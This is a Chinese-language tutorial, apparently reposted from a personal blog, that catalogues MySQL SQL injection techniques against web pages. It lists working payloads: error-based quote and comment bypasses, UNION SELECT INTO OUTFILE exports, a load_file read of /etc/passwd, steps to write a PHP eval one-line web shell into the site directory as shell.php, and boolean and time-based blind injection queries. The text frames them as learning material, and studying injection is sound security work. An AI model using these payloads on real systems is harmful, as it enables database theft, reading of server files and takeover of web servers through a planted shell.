当前位置: 首页 >数据库 > MySql注入

MySql注入

基本的报错注入
    1、单引号报错-GET-字符型
    错误信息:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
    猜测:select * from table where id='$id' limit 0,1;
    绕过:id=1' --+   id=1' --%20    id=1' %23   id=1' or '1'='1    id=1' or 1=1 --+等等

    2、GET-数字型
    错误信息:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1
    猜测:select * from table where id=$id limit 0,1
    绕过:id=1 --+   id=1 or 1=1    id=1 or 1=1 %23

    3单引号变形-字符型
    错误信息:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'') LIMIT 0,1' at line 1
    猜测:select * from table where id=('$id') limit 0,1
    绕过:id=1') --+等等

    4、双引号-字符型
    错误信息:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1\") LIMIT 0,1' at line 1
    猜测:select * from table where id=("$id") limit 0,1
    绕过:id=1") --+   id=1") or ("1")=("1     ") or 1=1 --+

    5、双查询注入
    请参考我的上一篇博客


outfile函数
    1、基本注入
    语句:id=1' union select 1,2,3,4,5 into outfile "网站目录/test.txt" --+
        id=1' union select table_name,2,3,4,5 from information_schema.tables where table_schame=database() into outfile "网站目录/test.txt" --+
        id=1' union select load_file("/etc/passwd"),2,3,4,5 into outfile "网站目录/test.txt" --+
    访问test.txt文件

    2、注入并into outfile导出shell  必须magic_quotes_gpc为off
    use database;使用数据库
    create table shell(name text);创建表
    insert into shell values (<?php @eval($_POST[123])?>);写入一句话木马
    select * into outfile "网站目录/shell.php" from shell;   导出木马

    3、脱裤

盲注
    1、基于bool型
    原理:对值进行判断,正确为true;
    语句:id=1' and  (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))<102 --+
    请大家以此类推!不想因为这些语句妨碍了篇幅。
    substr("str","length1","length2");
    length1:起始位置  length2:截取字符串长度

    2、基于时间型
    原理:当我们输入的在数据库有时,则会延迟执行,否则立即执行;
    语句:select if((select database())="security",sleep(5),null);
         select if((select version()) like "5%",sleep(5),null);


POST注入:与get注入方式相同;不过我们在用户名和密码选择一个地方就好了!

作者:我是zero
来源链接:https://www.cnblogs.com/Lzero/p/3984360.html

版权声明:
1、JavaClub(https://www.javaclub.cn)以学习交流为目的,由作者投稿、网友推荐和小编整理收藏优秀的IT技术及相关内容,包括但不限于文字、图片、音频、视频、软件、程序等,其均来自互联网,本站不享有版权,版权归原作者所有。

2、本站提供的内容仅用于个人学习、研究或欣赏,以及其他非商业性或非盈利性用途,但同时应遵守著作权法及其他相关法律的规定,不得侵犯相关权利人及本网站的合法权利。
3、本网站内容原作者如不愿意在本网站刊登内容,请及时通知本站(javaclubcn@163.com),我们将第一时间核实后及时予以删除。





本文链接:https://www.javaclub.cn/database/117610.html

标签:SQL_syntax
分享给朋友:

“MySql注入” 的相关文章

性能优化|Mysql优化之Explain精讲 2022年06月02日 21:18:04
MySQL学习(4)︱数据库的查询 2022年06月07日 01:52:58
mysql查询结果中文显示成了问号 2022年06月07日 02:00:43
mysql查询最后一条记录 2022年06月08日 19:25:45
mysql查询给某个字段赋值 2022年06月10日 21:43:53
MYSQL根据日期查询 2022年06月11日 21:03:52
如何查看MySQL的版本? 2022年06月11日 22:08:01
mysql 去重查询 2022年06月15日 10:54:01
数据库(三):MySQL 查询 2022年06月16日 19:37:17